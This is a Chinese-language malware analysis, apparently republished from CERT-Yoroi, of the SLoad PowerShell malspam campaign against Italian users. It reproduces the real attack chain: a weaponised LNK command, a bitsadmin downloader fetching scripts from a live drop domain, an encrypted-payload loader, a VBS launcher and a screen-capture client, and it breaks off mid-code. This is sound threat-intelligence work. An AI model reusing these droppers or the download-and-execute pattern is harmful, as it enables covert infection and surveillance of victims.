Quantcast
Channel: CodeSection,代码区,网络安全 - CodeSec
Viewing all articles
Browse latest Browse all 12749

SLoad Powershell malspam正在蔓延到意大利

0
0
一、介绍

在过去的几个月里,CERT-Yoroi观察到一种新兴攻击模式。一系列恶意电子邮件共享通用技术,这些技术可能与一个威胁组织对意大利网络全面的攻击有关。目前尚不清楚这些攻击尝试是由一个完善的网络犯罪组织修改其TTP所致,还是全新的攻击尝试。但CERT-Yoroi正在通过内部代号“Sload-ITA”(TH-163)来跟踪此威胁。去年五月, SANS ICS 研究人员在英国也记录了类似的操作行为。恶意行动通过滥用基于压缩存档中的代码隐藏技术和类似的drop-url模式共享相同的drop mode:

2018-10-08 使用“/AE-9455933DGW-nota-cliente” url 模式

2018-10-09 使用“/fattura-per-cliente-QN-OAYSAPV” url 模式

2018-10-15 使用“/MA-47462780Y3-documento-cliente”url 模式

某些恶意邮件已从“PEC”邮箱发送

2018-11-19 使用“/documento-aggiornato-novembre-ER16909FP9”

CERT-PA 追踪

Yoroi-Cybaze ZLAB收集并解析了在响应操作期间恢复的样本,用来揭示这些攻击者使用的恶意植入程序的细节。下图总结了sLoad恶意软件感染的步骤。


SLoad Powershell malspam正在蔓延到意大利

图1. SLoad感染流程

二、技术分析

分析的恶意样本是压缩zip存档,包含两个不同文件:

1.一个假装指向系统文件夹的链接,名为“invio fattura elettronica.lnk”

2.一个隐藏的JPEG图像“image _20181119_100714_40.jpg”,该文件存储为HA属性。

尽管从存档中提取的LNK文件表面上看很无辜,但它的武器化方式与APT29在其最新操作期间采用的方式类似,表明该技术是几种恶意网络武器的一部分。实际上,当用户双击文件时,批处理脚本会生成下面的powershell脚本:

C:\windows\System32\cmd.exe /C powershell.exe -nop -eP ByPass -win hi"d"den -c "&{$9oc=get-childItem -path c:\users\* -recurse -force -include documento-aggiornato-novembre-*.zip;$g3u=get-content -LiteralPat $9oc.fullname;$g3u[$g3u.length-1]|iex}"

PS脚本搜索与模式“documento-aggiornato-novembre * .zip”匹配的任何文件:如果文件存在,则脚本在其末尾提取一部分代码,然后通过“IEX”调用它;我们检查了zip文件并恢复了这部分代码。在下图中,可以看到附件存档内容分为粉红色和黄色,外来代码为蓝色。


SLoad Powershell malspam正在蔓延到意大利

图2.添加到Zip存档的代码

该部分文件包含powershell脚本调用的可执行代码。由于调用了“bitsadmin.exe”,此代码能够从“firetechnicaladvisor.com”下载其他脚本,然后将所有这些新下载的文件存储在“%APPDATA%/ <UUID>”文件夹中。下图显示了下载恶意植入程序后文件夹的内容:


SLoad Powershell malspam正在蔓延到意大利

图3.恶意植入程序的组件

下面的片段显示了负责下载这些恶意软件的代码。

$env_appData=$env:appdata;
$cmd='cmd';
$gen_random_value_name_ps= -join ((65..90) + (97..122) | Get-Random -count 14 | % {[char]$_});
$get_uuid=(Get-WmiObject Win32_computerSystemProduct).UUid;
$set_hidden='hidden';
$folder_to_store_file = $env_appData+'\'+$get_uuid;
$h=$folder_to_store_file+'\d';
if(!(test-path $folder_to_store_file)){
New-item -itemtype directory -Force -path $folder_to_store_file;
};
$ps_to_download_and_execute='/c echo 1 > '+$h+' & bitsadmin /wrap /transfer fredikasledi /download /priority FOReGrOUnd "https://firetechnicaladvisor.com/globa/monu" '+$folder_to_store_file+'\'+$gen_random_value_name_ps+'.ps1 & del '+$h+' & exit';
start-process -wiNdowstyLe $set_hidden $cmd $ps_to_download_and_execute;
$e=1;
Start-Sleep -s 6;
$p2='powe';
while($e -eq 1){
if(test-path $h)
Start-Sleep -s 3
}else{
$e=2
}
};
Start-Sleep -s 7;
$p1='ell';
$ps_to_download_and_execute='/c '+$p2+'rsh'+$p1+' -nop -ep bypass -File '+$folder_to_store_file+'\'+$gen_random_value_name_ps+'.ps1 & exit';
start-process -wiNdowstyLe $set_hidden $cmd $ps_to_download_and_execute;

NxPgKLnYEhMjXT.ps1脚本安装并植入受害者的机器,在系统上注册计划任务,以确保感染持续存在。然后,该脚本会自删除。


SLoad Powershell malspam正在蔓延到意大利

图4.恶意植入程序的安装脚本

在快速查看CxeLtfwc.ps1脚本之后,我们还注意到恶意软件使用cmdlet“Invoke-Expression”从“config.ini”文件加载并运行另一段代码。

param ([string]$k = "");
$random_name_of_powershell=Get-Process -name powershell*;
if ($random_name_of_powershell.length -lt 2){
$folder_name = (Get-WmiObject Win32_ComputerSystemProduct).UUID ;
$log = $env:APPDATA+"\"+$folder_name;
$key=$k -split "," ;
$Secure= Get-Content $log"\config.ini";
$Encrypted= ConvertTo-SecureString $Secure -key $key;
$encrypted_string = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($Encrypted);
$expression_to_execute = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($encrypted_string);
Invoke-Expression $expression_to_execute;
}

下图显示了恶意植入程序的其他组件如何调用此特定代码:可以注意到脚本是使用输入参数(“1,2,3,4,5,6,7,8, 9,10,11,12,13,14,15,16“)启动的,该参数作为密钥来解密”config.ini“的内容:恶意软件的真实有效载荷。

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -win hidden -ep bypass -File C:\Users\admin\AppData\Roaming\42082A54-EE38-CA41-8C45-A16336FBCCD9\CxeLtfwc.ps1 -k 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16
--------------
C:\Users\admin\AppData\Roaming\42082A54-EE38-CA41-8C45-A16336FBCCD9\<NOME_CASUALE>.vbs" 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16
--------------
Dim objWmi, colItems, objItem, strUUID, blnValidUUID,oShell
Set objWmi = GetObject("winmgmts:\\" & "." & "\root\cimv2")
Set colItems = objWmi.ExecQuery("Select * from Win32_ComputerSystemProduct")
Set oShell = WScript.CreateObject ("WScript.Shell")
oShell.run "power"+"shel"+"l.exe -win hi"+"dden -ep by"+"pass -Fi"+"le C:\Users\admin\AppData\Roaming\42082A54-EE38-CA41-8C45-A16336FBCCD9\WpaejPkv.ps1 -k "& WScript.Arguments(0),0,True
Set oShell = Nothing

“config.ini”和“web.ini”文件都在运行时通过以下一组系统命令来进行解密和调用:

“ConvertTo-SecureString”,
[System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($Encrypted);
[System.Runtime.InteropServices.Marshal]::PtrToStringAuto($slStr);

下图显示了“config.ini”文件加密后代码的一部分,之后是其解密的代码。


SLoad Powershell malspam正在蔓延到意大利

图5.“config.ini”中的加密有效载荷

这是恶意客户端的源代码:

$runDMC = "cmd";
<a href="/cdn-cgi/l/email-protection" data-cfemail="8bafe0eef2b6cb">[email protected]</a>(1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16)
$morty=$env:APPDATA;
function Get-ScreenCapture{
Param(
[Parameter()]
[Alias("Path")]
[string]$Directory = ".",
[Parameter()]
[ValidateRange(70,100)]
[int]$Quality,
[Parameter()]
[Switch]$AllScreens
)
Set-StrictMode -Version 2
Add-Type -AssemblyName System.Windows.Forms
if ($AllScreens){
$Capture = [System.Windows.Forms.Screen]::AllScreens
}else{
$Capture = [System.Windows.Forms.Screen]::PrimaryScreen
}
foreach ($C in $Capture){
$screenCapturePathBase = $path+"\ScreenCapture"
$cc = 0
while (Test-Path "${screenCapturePathBase}${cc}.jpg") {
$cc++
}
$FileName="${screenCapturePathBase}${cc}.jpg"
$Bitmap = New-Object System.Drawing.Bitmap($C.Bounds.Width, $C.Bounds.Height)
$G = [System.Drawing.Graphics]::FromImage($Bitmap)
$G.CopyFromScreen($C.Bounds.Location, (New-Object System.Drawing.Point(0,0)), $C.Bounds.Size)
$g.Dispose()
$Quality=70;
$EncoderParam = [System.Drawing.Imaging.Encoder]::Quality
$EncoderParamSet = New-Object System.Drawing.Imaging.EncoderParameters(1)
$EncoderParamSet.Param[0] = New-Object System.Drawing.Imaging.EncoderParameter($EncoderParam, $Quality)
$JPGCodec = [System.Drawing.Imaging.ImageCodecInfo]::GetImageEncoders() | Where{$_.MimeType -eq 'image/jpeg'}
$Bitmap.Save($FileName ,$JPGCodec, $EncoderParamSet)
}
}
$productID = (Get-WmiObject Win32_ComputerSystemProduct).UUID ;
$path = $morty+"\"+$productID;
$btlog=$path+'\btc.log'
$pp=$path+'\'+$productID;
try{ If(test-path $pp"_0"){ Remove-Item $pp"_*";}}catch{}
try{ If(test-path $pp){Remove-Item $pp;}}catch{}
$ldf='/C bitsadmin /reset';
start-process -wiNdowStylE HiDden $runDMC $ldf;
$Secure= Get-Content $path"\web.ini";
$Encrypted= ConvertTo-SecureString $Secure -key $key;
$slStr = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($Encrypted);
$rStr = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($slStr);
$d

Viewing all articles
Browse latest Browse all 12749

Latest Images

Trending Articles





Latest Images